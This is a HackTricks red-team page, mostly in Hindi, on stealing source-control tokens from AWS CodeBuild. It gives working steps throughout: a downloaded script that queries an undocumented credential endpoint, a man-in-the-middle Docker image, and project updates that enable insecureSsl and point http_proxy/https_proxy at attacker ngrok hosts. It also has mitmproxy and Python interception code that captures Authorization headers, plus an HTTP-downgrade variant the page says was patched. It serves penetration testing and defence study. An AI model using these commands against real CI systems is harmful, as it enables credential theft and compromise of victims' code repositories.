AWS Codebuild - Token Leakage
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Github/Bitbucket में कॉन्फ़िगर किए गए Tokens पुनर्प्राप्त करें
सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:
aws codebuild list-source-credentials
CodeBuild Job में RCE के माध्यम से
CodeBuild job के अंदर से, आप एक undocumented AWS CodeBuild API endpoint को हिट कर सकते हैं जो आपको CodeBuild द्वारा उपयोग किए जाने वाले credentials लौटा देगा। इसका उपयोग उन credentials को प्राप्त करने के लिए किया जा सकता है जिनके साथ CodeBuild job सेटअप किया गया था, उदाहरण के लिए AWS CodeConnection credentials, OAUTH या PAT credentials। CodeBuild job को इस endpoint को हिट करने के लिए privileged होने की आवश्यकता नहीं है और इसे logging और monitoring में पहचानना भी कठिन है क्योंकि CodeBuild खुद स्टार्टअप के दौरान कई बार इस endpoint को कॉल करता है।
इस तकनीक को और विस्तार से समझाया गया है https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ लेकिन सारांश यह है कि CodeBuild job के भीतर credentials प्राप्त करने के लिए आपको बस निम्नलिखित चलाना होगा:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Docker Image के माध्यम से
यदि आपको पता चलता है कि उदाहरण के लिए Github के लिए authentication खाते में सेट है, तो आप Codebuild को प्रोजेक्ट का build चलाने के लिए किसी विशिष्ट Docker image का उपयोग करने के लिए कहकर उस exfiltrate किए गए access (GH token or OAuth token) को exfiltrate कर सकते हैं।
इसके लिए आप नया Codebuild project बना सकते हैं या मौजूदा के environment को बदलकर Docker image सेट कर सकते हैं।
The Docker image you could use is https://github.com/carlospolop/docker-mitm. यह एक बहुत ही basic Docker image है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगा। यह आपको https_proxy और http_proxy में बताए गए host के अधिकांश ट्रैफ़िक को intercept करने और SSL_CERT_FILE में बताए गए SSL CERT पर भरोसा करने की अनुमति देगा।
- Create & Upload your own Docker MitM image
- repo के निर्देशों का पालन करके अपना proxy IP address सेट करें और अपना SSL cert सेट करके build the docker image।
- मेटाडेटा endpoint के लिए requests को intercept न करने के लिए DO NOT SET
http_proxy। - आप अपने host पर proxy सेट करने के लिए
ngrokका उपयोग कर सकते हैं, उदाहरण:ngrok tcp 4444 - एक बार जब आपने Docker image बना लिया, तो इसे किसी public repo (Dockerhub, ECR…) में upload करें।
- Set the environment
- एक नया Codebuild project बनाएं या मौजूदा के environment को modify करें।
- प्रोजेक्ट को सेट करें ताकि वह previously generated Docker image का उपयोग करे।
.png)
- Set the MitM proxy in your host
- जैसा कि Github repo में बताया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
इस्तेमाल की गई mitmproxy version 9.0.1, रिपोर्ट के अनुसार version 10 में यह काम नहीं कर सकता।
- बिल्ड चलाएँ और credentials कैप्चर करें
- आप Authorization header में token देख सकते हैं:
.png)
यह aws cli से भी कुछ इस तरह किया जा सकता है:
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
insecureSSL के माध्यम से
Codebuild प्रोजेक्ट्स में एक सेटिंग होती है जिसका नाम insecureSsl है जो वेब इंटरफ़ेस में छिपी होती है, आप इसे केवल API से बदल सकते हैं.
इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की जाँच किए बिना रिपॉज़िटरी से कनेक्ट कर सकता है.
- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को सूचीबद्ध करने की आवश्यकता है, कुछ इस तरह:
aws codebuild batch-get-projects --name <proj-name>
- फिर, प्राप्त जानकारी के साथ आप प्रोजेक्ट सेटिंग
insecureSslकोTrueमें अपडेट कर सकते हैं। नीचे मेरे द्वारा एक प्रोजेक्ट अपडेट करने का उदाहरण है, ध्यान दें कि अंत मेंinsecureSsl=Trueहै (यह वही एक चीज़ है जिसे आपको संग्रहित कॉन्फ़िगरेशन से बदलना है)। - इसके अलावा, env variables http_proxy और https_proxy भी जोड़ें जो आपके tcp ngrok की ओर इशारा करें, जैसे:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- फिर, https://github.com/synchronizing/mitm से बुनियादी उदाहरण उस port पर चलाएँ जिसे proxy variables (http_proxy और https_proxy) इंगित करते हैं।
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- अंत में, Build the project पर क्लिक करें, the credentials will be sent in clear text (base64) to the mitm port:
 (1).png)
HTTP प्रोटोकॉल के माध्यम से
[!TIP] > यह vulnerability 20 फरवरी 2023 के सप्ताह में किसी बिंदु पर AWS द्वारा corrected की गई थी (मुझे लगता है शुक्रवार)। इसलिए अब कोई attacker इसका abuse नहीं कर सकता :)
एक attacker जिसके पास किसी CodeBuild पर elevated permissions हों, configured Github/Bitbucket token को leak कर सकता है, या यदि permissions OAuth के माध्यम से configured थे, तो code तक पहुँचने के लिए उपयोग किए जाने वाले temporary OAuth token को leak कर सकता है।
- An attacker अपने machine की तरफ इशारा करते हुए CodeBuild project में environment variables http_proxy और https_proxy जोड़ सकता है (उदाहरण के लिए
http://5.tcp.eu.ngrok.io:14972)।
.png)
.png)
- फिर, github repo का URL HTTPS की बजाय HTTP उपयोग करने के लिए बदलें, उदाहरण के लिए:
http://github.com/carlospolop-forks/TestActions - फिर, proxy variables (http_proxy और https_proxy) द्वारा point किए गए पोर्ट में https://github.com/synchronizing/mitm से basic example चलाएँ
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- इसके बाद, Build the project पर क्लिक करें या कमांड लाइन से build शुरू करें:
aws codebuild start-build --project-name <proj-name>
- अंत में, ये credentials clear text (base64) में mitm port पर भेजे जाएंगे:
.png)
Warning
अब attacker अपनी मशीन से token का उपयोग कर सकेगा, इसमें मौजूद सभी privileges को सूचीबद्ध कर सकेगा और सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसे (ab)use करना आसान होगा।
Untrusted PR execution via webhook filter misconfiguration
For the PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), check:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

